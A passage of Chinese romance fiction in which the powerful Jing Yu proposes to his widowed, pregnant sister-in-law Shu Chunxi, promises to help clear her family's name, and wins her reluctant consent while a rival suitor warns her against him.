想着,舒纯熙已经情不自禁地踏出脚步,朝那边走过去。 回忆与现实交替,仿佛自己走进了幻梦,只不过没有了曾经的心情。 她坐上了那秋千,一只手抵在坐榻上,另一只手,搭在身侧与秋千顶部连接的圆木条上,悠然地晃动了起来。 准确来说,她只是长大了,遇到了很多难以解决的事,又或者说,她的心其实已经垂垂老矣,再也没有了童年时的活力。 。 如果早点知道,舒纯熙在这一轮相亲里,最终选定了谁,敬渝一定不会放任宗正继续住在敬宅。 还送她玫瑰花…… 敬渝一想到这个,眉心就一下接着一下猛跳,整个人周身的气质都郁闷了几分。 终于,他从沙发上起身,走到书桌旁拿起放在一旁的盒子,问李阿姨,“纯熙呢?” 虽然已经年近五十,但李阿姨还是从这称呼的突然转变里,嗅到了一丝不一样的意味,不由得留心起敬渝的反应。 男人玉身长立,倚在书桌前头,手里握着一个小巧的盒子,看上去很像是装婚戒的那种盒子…… 李阿姨忍住心里面因为猜测而泛开的欣喜若狂,连忙给敬渝指路,“舒小姐好像去花园散步了,现在还没回来呢。” 敬渝若有所思地“唔”了一声,不由得扯出露出一个温柔的微笑,像是在鼓励自己一样,然后与李阿姨对视一眼,又在她的眼里看出一种促狭。 但此时此刻,他却不免感到了一种慰藉般的鼓励,极快地点了一下头,然后努力扯平嘴角,脚步轻快地朝外走去。 敬渝不知道舒纯熙去哪儿了,就在花园里找了一圈,又问了几个园丁,最后,在那两棵树下的树荫里看到了自己要找的人。 她倚着秋千摇椅的靠背,大半个上半身都被树影遮挡住,隐在一片阴凉里面。 而暴露在阳光底下的小腿白皙得有点不健康,好在太阳暖烘烘,仿佛将她令人心惊的虚弱也给妥帖熨烫了一番,透出一股神圣的光芒来。 夏荫遮挡下,她的眉眼难得舒展,看上去是难得的静谧惬意。 就在此时,这个微微摇动着的人影,好像穿越时空,和过去的那个舒纯熙重合了。 不再冷漠冰凉,不再拒他于千里之外,不再在周身竖起一块厚壁障,把自己给笼罩在其中不愿意出来 。 她没有睡着,这应当是她如今,难得清醒时的悠闲时光。 敬渝忽然有些情怯,不知道是否该在此时出声,然后把这一切都给打破。 答案显而易见,他止步在几米开外,如何也踏不出下一步,静默地立在光中,远远地望着她的方向。 贪恋着这来之不易的闲适氛围,像是一个小偷,毫无羞耻心地放纵自己沐浴在她放松的这片磁场里。 但某一瞬,舒纯熙还是突然睁开了眼睛,撑着坐垫坐正,双脚点地的同时,左右活动了一下脖颈,目光里带着点午后的慵懒和迷糊,顺其自然地朝他所在的这边扫了过来,望见了他。 她的脸沉下来,眼神冷了。 顷刻间,因为此间主人的心情变化,闲适的氛围亦是荡然无存。 明明心里已经有了预期,但是在此清晰地看见她的变化,再一次认知到她如今对自己是怎样的防备和疏离,他还是会不好过。 只觉得满腹苦涩的男人低下头,朝她走了过去。 不过几息的功夫,舒纯熙眼见着敬渝朝自己走过来,然后在离自己很近的地方站定,毫不留情地挡在她身下摇椅晃动的轨迹之中,虽然她也并没有在晃。 但她现在不想看见他,她的心情并不好,她也不想再去思索昨天晚上他说的那些话,究竟是真还是假。 他想要做什么,她不关心,也真的没有力气去招架了。 这一切都让她觉得身心疲惫。 她连一句话都懒得说。 敬渝垂下眼眸,鸦羽般的眼睫在面上轻轻一扫,不言不语地,竟直接把右手攥着的一个绸缎小礼盒打开,从里面拿出了一颗戒指来。 舒纯熙终于瞪大了双眼,仰着头用讶异的目光,望着身前男人的面庞。 而他目光坚毅,一张脸看不出来跟平常有什么不一样,依旧是那种游刃有余的样子,下一刻便探身朝她靠近,一下子将两人之间的距离给拉近。 他伸出一只手,将舒纯熙抵在身侧的左手给抬起来,似乎是察觉到她肢体的僵硬,动作放缓,尽力轻柔,将她的手搭在自己掌上。 舒纯熙的左手无名指上带着一颗十克拉的全美方钻,这是敬亭给她定制的婚戒,自从结婚那天起,她就从来没有取下来过,即使后来敬亭去世,她也没有。 敬渝的双眼在清楚地看见那枚戒指后,微微耷拉下来,手上的动作有极其短暂的停顿,在那一刻屏住了呼吸。 他知道,舒纯熙大概正在用一种不怎么友善的目光打量着自己。 所以他也并没有停顿多久,扯了一下嘴角,仿佛并没有看见什么,故作漫不经心地就把她无名指上原先的那枚给摘了下来,随手放在一旁的坐垫上。 那颗重量很可观的婚戒其实更像是被随手一掷,本该老老实实地落在坐垫上,此刻却囫囵地滚了几圈,像是在表达它的不满一样。 舒纯熙也感觉到了,向左侧偏了头,目光里凝着点说不清道不明的意味,望了它一眼。 但她的手还被握在敬渝的大掌里,他并没有留给她缓冲和思考的时间,动作自然无比地将他一开始握在手心的那枚戒指拿在指尖,抬起她的无名指,直接推了进去。 而无名指的主人,直到现在,才好像总算弄明白眼前的情况,身体随之轻微地颤动了一下,不知道是被惊得,还是反应了过来想要推拒。 敬渝抿紧双唇,松开她的手,既而直起身子,然后上下两片嘴皮子快速一碰,默默地说了一句: “嫁给我,敬渝太太的名号,只会更好用。” 原本她选了宗正,但他比宗正更好,她看上宗正什么,他也只会有得更多。 要权,要名,要利,要财,他予取予求,甘之如饴,双手奉上,心甘情愿。 第24章 舒纯熙在他晦暗的眼神里,呼吸,再呼吸,将自己原本因看见他而变得一团乱糟糟的心绪,逐渐抚平了,大脑清净下来,她整个人也平静了下来。 现在,她总算能从容地表达自己的迷惑了。 左手无名指上,因为陡然移开原本有足够分量的负重,换成了另一枚不同触感的戒指,那种电流顺着脉络流进心底的感受很微妙,不容她忽略。 “嫁给你,” 她慢慢捻着那几个字, “所以,你是认真的?” “是,我很认真。” 他的回答铿锵有力,没有一点迟疑,看上去,真的就像他嘴上说的那样,他是经过理智思考之后,做出了这样的决定。 至于做出这样的决定,他究竟勉不勉强,舒纯熙无从得知,她只得垂下头,盯着腿上裙子的面料看,又问他: “那孩子呢,你真的能把我和敬亭的孩子,当做是你自己的孩子么?” “可以,我会把他当做是我的孩子。” 敬亭的孩子,他会帮忙照顾,因为那是他堂弟的孩子,跟他也有分割不开的血缘。 而舒纯熙的孩子,他当然也会好好照顾,因为那是她的孩子。 他会从这两个角度,去看待这个孩子。 那你还真是大度。 舒纯熙幽幽地在心里面想,没有立刻回答,过一会儿,突然想起点什么,又问: “可敬总不是说,做不出来再娶弟妹的丑事么? …… “怎么,回心转意了?” 女人垂着头没有看自己,但一声嘲讽般的低笑还是紧接着发出,被他的耳朵捕捉到,明明并不大的声音,却敲打在耳膜上,一阵阵撕裂般发疼,让人浑身僵硬到难堪。 回忆只消在脑海里滚上一遍,敬渝很快就想明白,是谁把这话说给了她听,而且,面目全非,还复述得这样刺耳。 “这话是宗正告诉你的?不是这样的,我不是这么说的,那时候我只是没想过可以再娶你……” 他苦笑一瞬,从回忆里挣脱出来,凝视着她的发顶,慢慢地告诉她, “纯熙,我从来没觉得如果能再娶到你,会算作一件丑事,真的,我从来就没有这么想过。” 说着,敬渝单膝跪地蹲在了舒纯熙身畔,总算清晰地看见了她有些苍白迷惘的脸色。 他伸出双臂,小心翼翼地去触碰她放在腿上的双手,将那两只素白的手掌托在自己的双手掌心,虚握住,目光柔和地看着她。 而舒纯熙猛地打了个寒颤,下意识地想要把自己的手抽回来,却被男人带着不由分说的意味给握住,竟然不许她临阵脱逃。 秋千上的女人掀起眼帘来,目光里已然一片清明的底色,并没有什么纠结的意思,只是动作愈发坚定,与男人对视之间,执意要抽出一只手。 剩下的另一只手还被男人紧握着不愿意放开,他的目光盯着她的眼睛一分也不错过,意味很明显。 舒纯熙却没有多少动容,已经去将敬渝的手指一根一根掰开,执着地将他的手掌推开,然后望着他,笑得有点残忍,一字一顿地对他说: “可这对我来说,确实是一件丑事。” 说完,她再去看那人时,他的目光已尽数染上苦涩,手上的力气一松,舒纯熙顺势就把自己的手给抽了回来。 敬渝如一块石雕般僵在了原地。 她说不上有什么感受,居高临下地瞥了他一眼,然后从秋千上下来,已经想要快点离开了。 擦肩而过之前,敬渝不知道什么时候已经从地上爬起来,伸手拉住她的胳膊,将她拦了下来。 此时他的面色可以说是灰败,声音十分沙哑,口不择言的同时又艰难地说: “宗正许给你什么?你们做了什么交易?” 她试图挣扎的动作忽然停歇下来,侧过头凝视着他的眼睛,回答他: “你说呢?他可以帮我给舒家翻案!” 原来如此。 敬渝终于在这近乎怒吼的一句话里面,觉察到了一丝不同的可能性,拼凑出了事情本来的面貌,仿佛抓到救命稻草一样,握着她的手牢牢攥紧,将舒纯熙轻转过来,和自己面对着面站立着,语气凝重, “纯熙,舒家的事牵扯太多,举足轻重,绝不是简简单单就能解决的。你相信我,不要轻易地去做任何决定好吗 ,我不会害你的。” 指尖动弹了一下,她负气扭头,不再看他,没说好,但也没有说不好。 敬渝便又去拉她的手,男人的指尖很冰,带着令人陌生的感觉,将她的一只手包在自己的掌心之中。 “纯熙,当年的事情发生得太突然,所有的东西你都还不清楚,解决这些事也不应该是你的责任,你不要把这件事揽在自己身上,不要忧虑这些。舒家的事情就交给我来解决,你相信我好吗?” 舒纯熙蹙眉,薄唇翕动两下, “那要什么时候才能解决?” “你不要担心这个,我一定会安排好的。” 闻言,皱着眉的女人还是不敢相信,有点踌躇地确认了一遍, “你真的会帮我们?” 敬渝牵了下唇角,带着点心酸地低下头,低低地说: “纯熙,虽然你可能不相信,但是这两年来,我从来没有放弃过舒家的事情。这一点,不管你嫁不嫁给我,都不会有改变。” 舒纯熙突然沉默了下去,一时之间不知道自己该说什么。 所以,真的就像敬渝说的那样,一直以来,他也在为舒家的事情想办法吗? 可是为什么呢?他跟他们又没有什么不可分割的关系,他没有任何必要非得这么做的。 这个信息太让人难以相信,也太让人错愕了。 就像他说的那样,她不相信,要她现在开始接受这个认知,都显得艰难。 被他握紧的那只手,仿佛正在失温一般,无力地垂下,任他拉着而已。 舒纯熙没有再说话,但也没有急着要走了,敬渝觉得她的态度难得有点松动,不想把她逼得太紧,便拉着她,同她一起慢步走回了主楼,将她送回了房间。 这一整个过程,舒纯熙都没有太多抵触的举动,就好像被抽干了力气,实在是懒得折腾了一样。 确认舒纯熙在床上坐好后,敬渝才退出房间,关上门后,依旧有点不放心地在门外站了一会儿,才转身下了楼梯。 敬渝尚有工作,处理得差不多了,他看一眼墙上的钟,然后上楼去叫舒纯熙下楼吃饭。 房间里很快传来走路的声音,没多久,房门从里面被打开,舒纯熙走出来。 她没有看敬渝,只是跟在敬渝身后下了楼梯。 吃晚餐的过程,她也很配合,把一整碗盛着鸡腿肉的鸡汤都给喝完了。 敬渝中途接了个电话,只能留意了一眼舒纯熙吃得怎么样,然后就拿着手机走出了餐厅。 等他再回来时,舒纯熙已经吃完上楼去了。 他这个电话打了二十多分钟,确实是有些久了。 敬渝坐下去又吃了点,然后在餐厅里站了一会儿,左右都看了一遍,又问佣人今天晚上舒纯熙的牛奶什么时候送上去。 然后厨房里的一个佣人告诉他,之前早餐的时候会给舒纯熙准备牛奶,但是她不愿意喝,后面就换成燕麦奶了,至于晚上,一般情况下厨房不会额外给舒纯熙再准备一杯牛奶。 “那敬总,需要我现在热一杯牛奶送上去吗?” 佣人用有些不确定的语气问了一句,同时也在询问往后的备餐标准。 敬渝站在原地,还没有从她一开始的回答里回过神来。 所以,好好喝牛奶补身体,还有会戒烟,之前她自己提出来的条件,还真是没有一件被严格遵守了。 敬渝本以为自己会感到有点头疼的。 但其实,也没有,心头只是萦绕起了一点无可奈何。 以后再潜移默化地磨着她做点改变吧。 心里不知不觉已经做好了规划,男人自己都没有注意到,唇角不动声色地勾了下。 最后,敬渝回到书房找了个小玩意,拿着上楼去找舒纯熙,但是舒纯熙并不在房间里面。 敬渝在楼上又找了一圈,也没有找见她的身影。 难道吃完晚餐之后,她并没有上楼回房,而是出去散步了? 手里拿着的松鼠雕像被他握得有了点跟手心相同的温度,敬渝站在楼梯跟前,低下头看这只憨态可掬的小松鼠,没由来得抚了一下它蓬松的大尾巴。 然后将东西放在两步外的一个置物柜上,男人转了身,穿过中庭,径直往后面的花园走。 只不过这一次,他找到天彻底黑透,连乱石园里那些可以藏人的小山洞还有敬氏的祠堂都找遍了,也没有找到舒纯熙的半点影子。 敬渝回到花园里,站在那两棵参天大树之间的秋千跟前,一遍遍回想着今天下午发生的一切。 她坐在这里假寐,而他走近她,把从前没有机会送出去的婚戒送给了她,她没有露出明显的厌恶或者拒绝的意思,态度很冷淡,为了让她回心转意,他提起了舒家的事情。 那些事他从来就不想让她过问,也不想让她牵扯进来,但他还是主动说了。 是那些话让她觉得受到了胁迫么? 他不知道。 这也是他从来都不想主动提及的原因。 他不想让她觉得,因为舒家的这些事,她需要仰仗自己,讨好自己,从而在他面前感到惴惴不安。 第25章 敬渝一遍遍地去想,一遍遍地在脑海里复盘这下午在这里发生的所有事,试图找出这一整个过程究竟是哪里出了问题,是哪一个细节他没有处理好,以至于他都没有捕捉到她的异常反应? 他绞尽脑汁,站在原地的双腿灌了铅一样重,胸膛里好像烂了一个大洞,而他当着风头被吹得眼睛都睁不开。 心乱如麻。 舒纯熙不知道跑到哪里去了,在这偌大的庄园里,她对地形的掌握恐怕不比他少,但他真的都找过了。 她还喜欢去哪里?她还有什么地方可以藏起来? 脑中的思绪像一团麻绳结在了一块儿,脸颊的温度超出常态,心跳慌乱得加速,敬渝这才强迫自己冷静下来。 他现在也只是找了后花园而已,家里这么大,他找不到不是很正常吗。 稳住思绪后,敬渝立即提起步子往回走,进了主楼,马上把主楼还没有休息的佣人都叫过来,问他们见没见到舒纯熙。 角落里有个小姑娘默默举起手,声音很低地说了句: “敬总,之前我擦楼梯扶手的时候,好像看见二夫人去……去了二少爷的房间。” 话音一落,人群里只剩一片死寂。 而站在对面的敬渝已经转身,立刻往楼梯走。 留在原地的人群也就被李阿姨解散了,她却没立刻转身离开,而是有点担忧地跟了两步,站在楼梯旁,正好可以看见大少爷已经到了二少爷以前的房间门口。 此时,楼上的敬渝只想早点找到舒纯熙,确认她在哪里。 但直到他到了门外,才突然反应过来,面前这个他即将踏足的地方,在今天这个时刻,对他和舒纯熙两个人来说,意味着什么。 现在已经是夜里十一点半了,以往这个时间该处于休息时刻的大脑,好像也的确受到生物钟的影响,转动不了了。 现在这种情况,究竟意味着什么? 他下午刚对舒纯熙说过,要她和自己结婚,而等到晚上,她哪里都没去,却来了这里。 脑子里有很多种可能性的推测,但他强迫自己停下思绪,他不想再想了,也不想去探究这究竟意味着什么。 甚至在推开门的时候,他还生出了一种猜测,或许舒纯熙也并不在这里,一切都是他以为的而已。 就这样,敬渝上前推开了门。 房间里面没有开灯,仅仅借着从窗户里落进来的月光视物。 先前那一闹,里面的残垣没有人敢随意处置,家里的佣人只好把地面细小的碎片给清扫了一下,其余的东西,都保持着原状。 敬渝伸手,“啪嗒”一声,突兀地在室内响起,打开了房间里的灯。 那张新换的大床上的景象依旧惨不忍睹, 之前那堆衣服并没有烧完,中心最先被打火机的火焰波及的地方燃出了黑色的大洞,向四面圆圈形状地扩开,张开血盆大口,散发着一股刺鼻的烧焦的气味。 靠近床边缘的地方,又垂下半截依旧华美的面料,如同被拦腰截断,上半部分被火烧得与其他衣服粘在一起,只余下一个诡异的裙摆部分。 这样的一大团“东西”丑陋得堆叠在那张原本崭新的一米八大床上。 而舒纯熙就坐在它们的旁边,床尾那一点点还没有波及的地方,泛着绸缎光泽的床单好像也只有那一小块儿上没有脏污。 她团着身子坐在上面,小小一个,面朝着南面的窗户,仰头在看外面黑漆漆的天空,把背影留给身后的房门。 敬渝屏息凝神,垂着眸关上身后的门,朝前静静地走了过去,在舒纯熙身旁站好。 原本找不到她的那些心焦和无端揣测,在真的找到她的这一刻,已经被瞬间抚平。 松了一口气,目光里的柔和就要溢出来,他低头凝望着舒纯熙,声音里浸染着和煦,仿佛怕惊扰到她哪怕一分一毫, “这么晚了,怎么在这儿啊?” 身侧的人置若罔闻,她不想回答他的问题,没什么稀奇的。 只不过现在环着腿抱着她自己的姿势,应该是很防备的一种。 这种情况下,就算他有心去抱她,估计也没办法下手。 他敛眸,视线有点无奈地落在她攥紧另一只手腕的手上面,拇指的指甲掐在本就没有多少肉的手腕上,有明显的红色印迹。 敬渝登时皱起眉头,探身想将她的那只手给拨开。 而舒纯熙一动不动,并不配合。 “纯熙……” 敬渝轻叹了一口气,那呢喃似的语调里并不是严厉,反而像是心疼。 他软和地叫了她一声,然后便试图带点力气,将她上面的那只手给挪开,再把她底下的那只手给抽走,攥在自己的掌心。 而手心里的那只手如同泥鳅般执拗地要逃脱,带着一股不配合的劲儿,丝毫不顾及自己的手腕,一言不发地要挣脱开来。 敬渝在这场无声的争执里落了下风,却又不甘心松开手,只好虚握着她的手,被她向下带的动作,将自己的手任她拉下去。 两个人的手便连接在一起一样,挂在了半空中。 “很晚了,熬夜对你和孩子都不好,我先送你回房间好不好?” 他同她好好商量着,甚至带着点轻哄的意味。 女人的头缓慢移动了一下,偏过来,目光终于扫在他面上,但很快又无甚趣味般移开了,双唇细微地开合着,声音低得难以听清,又因许久没有开口而有些沙哑, 但敬渝听清了,她问的是, “你想不想知道,在这个房间里,敬亭都跟我说过什么?” 男人的手动了动,在他听见“敬亭”的名字之后,便卸下了手上的力气,乖乖松开了舒纯熙的左手。 沉寂并没有蔓延开来,目光变得幽深的男人,一直望着身侧的女人,几息后,顺着她的话接下来,语气很平和, “他和你说什么了?” 两手撑在床垫上,舒纯熙将双腿放下去,踩上自己的拖鞋,听见敬渝的答案时,有点惊讶。 她轻笑了半声,发出一点点难辨的气音,慢慢地说了句, “我还以为你并不想知道呢。” 说完这句话,她就没有继续说下去了,不知道是在等敬渝的反应,还是陷入了某些漩涡般的回忆之中,一时想得入了神。 女人的面上没有什么血色,细眉微蹙如西子捧心,让人想替她小心翼翼地揉开那些哀愁。 而那些哀愁,他又一知半解。 “实话实说,我确实不想知道。” 说话间,敬渝在舒纯熙左边的地板上坐下来,两条长腿曲成同一个弧度抵着前方,和地面形成一个三角形,有些像舒纯熙先前的那个坐姿。 男人微微弓着脊背,坐下之后,比待在床上的人要矮上两个头,动作闲时自然,竟然有一种洗耳恭听、还要陪她彻夜长谈的架势。 短暂停顿之后,他轻声对她说: “但如果你想告诉我的话,你就说吧,我会听着的。” 旁边的人反而没有再开口,一连默了好一会儿。 敬渝在等待的同时,陪她待了这么一会儿,但她却没有说下去。 终于,他从地上爬了起来,这一次,敬渝没有再去拉舒纯熙的手,而是伸出一臂从她的腿弯穿过,另一只手横在她身后,直接将她从床上拦腰抱了起来。 舒纯熙的身体几乎瞬间僵硬了起来,在敬渝带着点不由分说的举动里不知所措,指尖向前探,紧紧地揪着他的衬衫门襟,叫了他一声,“……敬渝。” 男人的面庞突然向她靠得这么近,她只要一抬头,就能看清楚他脸上的任何一处,包括他两颊那些细小的绒毛。 高挺的鼻梁上是他神色坦然的双眼,她躲闪地低下头,只能盯着他的衣领,带着点悲苦,终于把心里的话说了出来,喃喃地在他耳边说: “敬渝,我们不能结婚,敬亭不会放过我的。” 说这话的人目光空洞,有些语无伦次的恐惧,始终不能坦然接受他的提议,尽管这几个小时,她的理智已经在劝她接受。 但她的灵魂害怕极了,她如同一只幽灵般被烙上了残忍的印,在游离之后宿命般回到了那个房间。 那个已经被敬渝试图重建过后、与从前再也不同的那个房间,但她已经被长久地困在了那里,好像再也没有资格走出去。 就像敬亭说的,那才是她在敬家该待的地方,那才是她在敬家唯一拥有的方寸之地。 而给她这一切的人她永远都别想摆脱。 “真的,我是认真的,他不会愿意看见我们结婚的,我不能答应你,我们不能结婚,敬亭绝对不会放过我的……” 怀里抱着的人纤细瘦弱,轻轻发颤的同时带着点无助的哭腔重复着,翻来覆去的几句话。 敬渝只是抿紧了嘴,将她抱紧的同时加快了脚步,一脚踢开房门,走到床边,一只膝盖撑在床上,把舒纯熙放在了床上。 女人难得的喋喋不休到此时终于停下来,她被敬渝动作轻柔地放在自己床上,拖鞋也随之被他从脚上拿下,在床边摆放好。 然后他又弯下身子,将她身下的薄被轻轻抽出来小半片来,盖在她的身上。 做好这一切,从刚才到现在一言不发的男人半跪在了床边,微仰起头,倾身向前,目光里带着舒纯熙看不懂的怜惜和苦涩,用拇指将她眼尾的晶莹一点一点给抹去。 “是我要娶你,是我想跟你结婚,也是我,要跟你重新在一起的。” 男人指尖陌生的触感抚过舒纯熙的脸颊,他望进她的眼眸里,一字一句说得认真, “如果敬亭非要不放过谁的话,那就让他来找我吧,我等着他。” 第26章 舒纯熙在敬渝的话里长久地愣怔了起来,她看不懂他眼里翻涌着的那种复杂情绪,在被吞没在其中之前果断低下了头,确定自己并不想花心思去解读,于是大脑里面只有一大片的空白。 “别想那么多,一切都有我。今晚你就先好好地睡一觉。” 床下半蹲着的男人安抚般冲她露出一个微笑,又凑近了一点,轻轻地抚摸了一下她的脑袋,她柔软的发丝被他指尖触碰着,掌心克制地压了下她的头。 “你想要什么样式的婚礼,我们办得隆重一点好不好?……明天我们就去领证吧,好不好?” 语气宠溺极了,话却说得前言不搭后语,生生像是脑海里浮现起了什么样的念头,他就一股脑都说 了出来。 明明不是一个聒噪的人,一想起婚事,终究难掩高兴,跟个十八岁的毛头小子一样,忍不住就要开始纵情想象起来。 手心下面的那颗脑袋摇动了一下,嚅动着双唇,面带防备和警惕的目光突然刺向了他, “不行……我公公婆婆那里不行的,我怎么向他们交代?” 敬渝嘴角的微笑终于凝滞了起来,那笑意缓缓地收敛下去,他望着舒纯熙又陷入了纠结万分的境况,心里升起一种难以言喻的感受。 于是他收回了放在她头上的手,转而握住她压在被子上的一只手,大掌将她的手牢牢收在掌心之中,好像一旦放手,就再也触碰不到了一样。 他望着她,再一次保证道: “纯熙,这些事情不需要你来忧虑,其他人那里,都交给我。你只需要同意就行了。剩下的事情交给我来安排,我会处理好一切。” 他的语气太笃定太绝对,甚至不自觉中又带了点严厉的意味,好像是她这个不配合的人在拖垮整个进程。 听得床上坐着的人下意识地又想把自己蜷缩起来,再伸出双臂来团着,那只手俨然开始使劲,想要把手从敬渝的掌心里抽开。 敬渝对着这样的舒纯熙束手无策,她全身上下都写满了一句话,那就是她只想要逃离他。 他不知道还能怎么办,商场上的谈判都没有这么停滞不前过。 每当他觉得,她的态度有了一点松动的时候,她就会突然变脸,又想出了一条新的理由,来说服她自己去拒绝。 即使这样,他也不能松手。 拇指讨好般地摩挲了一下她的虎口,敬渝再次放低姿态,又小心翼翼地继续问道: “纯熙,你是不是不想自己做这个决定?或许,你想知道伯父伯母的意思吗?” 舒纯熙双眸里的光于那一瞬间闪动了一下,抬头看向了他,这一刻,敬渝总算在心里松了一口气,他斟酌着说: “其实上次去北省之前,我去见过舒伯父,伯父他托我照拂你。” 虽然不是以丈夫的身份照顾她。 当时他就已经应下了。至于现在,情况虽然有了点变化,但如果他们能结婚的话,他一定能更好地照顾她,所以,舒伯父应该不会反对他们的婚事。 只是提起这件事来,他又实在怕舒纯熙会想等到下次探监,亲自去跟二老说过他们的婚事之后,再来答复他。 但他不想再等了,夜长梦多的教训他已经吃过一次了,他现在只想能赶紧把这件事彻底敲定下来。 与此同时,舒纯熙在听到这句话后,反而表现出有点失落的样子。 眼里那本就是一闪而过的光芒,好像又隐约地黯淡了一下,眼皮耷拉下去,遮挡住她眼底的情绪。 没过多久,舒纯熙执拗的那只手逐渐放松了下去,从僵硬变得柔顺,开口,说了声“好”。 敬渝长久地凝视着眼前的女人,他知道她心里应该还是有点难以接受,但她终究是点了头,这已经是在向前迈出很大一步了。 至于别的,只要她还愿意给自己机会,他们总是来日方长的。 敬渝勾起唇,笑意真心显露,两只手将舒纯熙的手捧在掌心,看了她好一会儿,对她说: “纯熙,谢谢你。” 舒纯熙心里清楚,脑海里面的那座天平已经倒向了其中一边,原先打架的两个小人,也已经决出了胜负。 嫁给敬渝应该是一件不会出错的事情,两年前她没办法成功,如今,他自己送上门来,好像顺势应下,才是明智之举。 毕竟这两年里,他的权势只增不减,比起两年前的那个他,还更能够给她和舒家提供庇护。 但她不知道敬渝要谢自己什么,听他的语气,仿佛自己才是那个降下恩赐的人。 想着,舒纯熙扯了下唇角,将手从敬渝的掌心里抽出来,淡淡地说: “我要休息了,你走吧。” 说着,她已经躺了下去,转过身背对着敬渝的方向。 第27章 望着床上那个只留给他背影的身躯,敬渝低声应了下来,随后撑着地板站起了身子,静悄悄地走到房门边上,出去之前,还帮她关上了灯。 出门之后,敬渝凝重地回望了一眼身后的门,挪动了一下脚步,让身体依靠在右面的墙上,杵在那里待了好一会儿。 。 第二天,舒纯熙同敬渝是在餐厅里遇见的。 她来的时候,敬渝也刚到不久,还没有落座,见她来了,主动同她说了声“早安”,又两步走到面前,像宗正之前做过的那样,帮她拉开了座位上的椅子。 吃饭时,又默默地帮她夹菜。还像之前一样,偷偷地观察她吃得怎么样。 其实舒纯熙昨天难以入睡,现在精神并不充沛,眼下泛着淡淡的乌青,只能冷眼旁观敬渝做着眼下的这些事情。 她说不上来心里面有什么滋味,不过目光还是在四处扫了扫。 看上去家里的佣人并没有在暗处投来什么异样的目光,或许是敬渝已经交代过了吧。 吃得差不多了,舒纯熙打算离开时,敬渝先她一步开口,忽然问了一句: “纯熙,你的身份证件现在都在手边吧?” 本已经要起身的人,闻言又坐回了椅子上,盯着敬渝一脸寻常的样子仔细看了起来。 所以,他是真的要今天就去领证吗? 舒纯熙有点愣怔,不掩犹疑地猜测起了原因。 有必要赶得这么急吗? “我至少得先跟宗正说清楚……” 舒纯熙说着,而右手边的男人依旧噙着笑,对她的回答并不意外,反而认可地点了点头,顺势说道: “昨天晚上我已经考虑好了。你找机会跟宗正说我们的事吧。至于宗家……我会送他们一个生意上的合作机会,算算时间,他们应该已经收到消息了。就当做我对他们的补偿,让之前的事情就此翻篇吧。” 敬渝语调平静,一字一句缓缓地铺陈开来。 仿佛只是在说一件顺其自然的事情一样,比如我把窗台上的一盆薄荷叶给换了个地方,又或是我把一片君子兰的叶子给拨到了另一边。 他从来没有在她面前提起过公司里的事情,这大概是第一次。舒纯熙才知道,原来这些事,他提起来的时候回事这样地从容。 她甚至猜得出来,敬渝开出的补偿,一定是宗家乐见其成的东西,也就是说,短短的时间里,他已经安排好了后续,理所当然地可以让事情平稳过度下去。 现在这种情况,她再去拒绝宗正,也就不至于因为自己的毁约而心虚,更不会觉得太过难堪了。 昨天晚上令她辗转反侧的其中一部分原因,已经被他尽量铲平。 敬渝确实考虑得很全面,安排得也足够妥帖了。 甚至他也可以直接出面替舒纯熙回绝宗正,但还是保留了她亲自去跟宗正解释清楚的机会,在宗正的面前维护了她的一分体面,还有抉择的权利。 舒纯熙低下头,“嗯”了一声,没有反对。 敬渝便知道这件事谈妥了,眼底的笑意真心了些。 真的感到轻松喜悦的时候,在他脸上便能看得到这种表面上很淡的笑容。其实他本就是一个有点寡淡的人,也不会做什么夸张的表情和举动。 放下手中的餐具,敬渝又好似不经意地说: “那我们就下午去领证,两点出门怎么样?” 舒纯熙有点心不在焉,胡乱地点了下头,站起身走出了餐厅,手里攥着自己的手机。 敬渝对时间的把控没有出错,等舒纯熙给宗正打的电话被接通时,那边的人不久前才跟从父亲的办公室里出来。 事情已经被决定下来,他便只有执行的份。 宗正望着手机屏幕上展示的来电人姓名,拧着眉头,有些无奈地抬头望了一眼天花板。 初见 时,她就是那种谨慎又防备的样子,好不容易彼此熟悉了一些,却没有所谓的往后日子可以奔赴了。 说再见的时候,她已然又变回了从前那种言简意赅的模样,三言两语地说个清楚,将他拒绝。 “纯熙,之前你不能全身心地信任我,我理解你的顾虑。但是现在呢?你自认如今对敬渝这个人的了解还有多少,你又真的能把自己跟舒家的前程托付在他的身上吗?” “你可知道自从舒家出事以来,整个南省从中枢到地方区县,总共空出来多少位置,又有多少人在此之后无声无息地顶了上来?” 宗正拧紧的眉头就没有放下来过,走到落地窗边望着窗外的车水马龙,少年心气始终难以平复,喉咙里吐纳着蹿高的怒气。 “你不知道!那我告诉你,那些顶上来的官员里面,少说有四成都是受过他敬家恩惠的门生,而剩下的那六成呢?这两年几乎所有人都是他敬宅的座上宾。” “现在你还觉得,你选择敬渝真的是明智之举么?舒纯熙你自己好好想想,他为什么会跟那些人走得那么近?实话同你说吧,现在整个南省,他敬渝的权势地位风头无两,简直是只手遮天,早就不是两年前你认识的那个他了!” “你告诉我,现在他拥有的这一切,其中有没有你舒家人的一份功劳,如果不是他踩着你们、吞噬了你们原本拥有的,会有今日的他吗?既然如此,你又凭什么觉得,你只要嫁给了他,他就会帮你给舒家翻案,然后,再乖乖地吐出他原本已经咽下去的所有好处呢?” 舒纯熙愣在电话的那一头,一只手死死地握紧靠在耳边的手机,僵直了身子。 他说得对,她不知道,她又上哪里知道这些事情呢? 父母从来没有跟她说过这些,当年家里出事的时候,她还是个不谙世事的千金大小姐,什么国际局势、政治斗争,她一概不懂,那也从来都不是她需要考虑的事情。 然后一夜之间,所有的东西都变了,物是人非推着她不得不往前走,小心翼翼地审视着周遭的一切。 她终于常常觉得自己懵懂愚笨,但她又有什么办法呢,就算是想长进,这两年里,又有谁会教她这些呢? 她在这世上早已是疲于保命的独自一个人了。 努力嚅动着唇瓣,舒纯熙想发出点声音来,但又实在不知道自己该说什么。 或许宗正是气疯了,所以才会口不择言地污蔑她转而选择的那个人,也不一定。 但又或许,他说的其实是真的。 最后舒纯熙跟宗正又说了些什么场面话,然后又是怎么挂的电话,她自己都没有印象了。 只记得她站在阳台上面,傻傻地待在原地没有动弹,望着远处凝望得出了神。 直到两点之后,等在楼下的敬渝没有看见舒纯熙出现,来敲她的房门,舒纯熙才恍然间抬起脚步,动作僵硬地去找自己的身份证件,然后又跟着敬渝的脚步,下了楼,换好鞋,接着再走出大门,跟在他后面上了车。 轿车驶出敬宅,后座的敬渝与舒纯熙并肩坐着,目光不远不近地落在她身上,不动声色地蹙了下眉。 按他对舒纯熙的了解,如果出门的话,她应该会换一身衣服的,但现在她身上穿的就是上午的那身衣服。 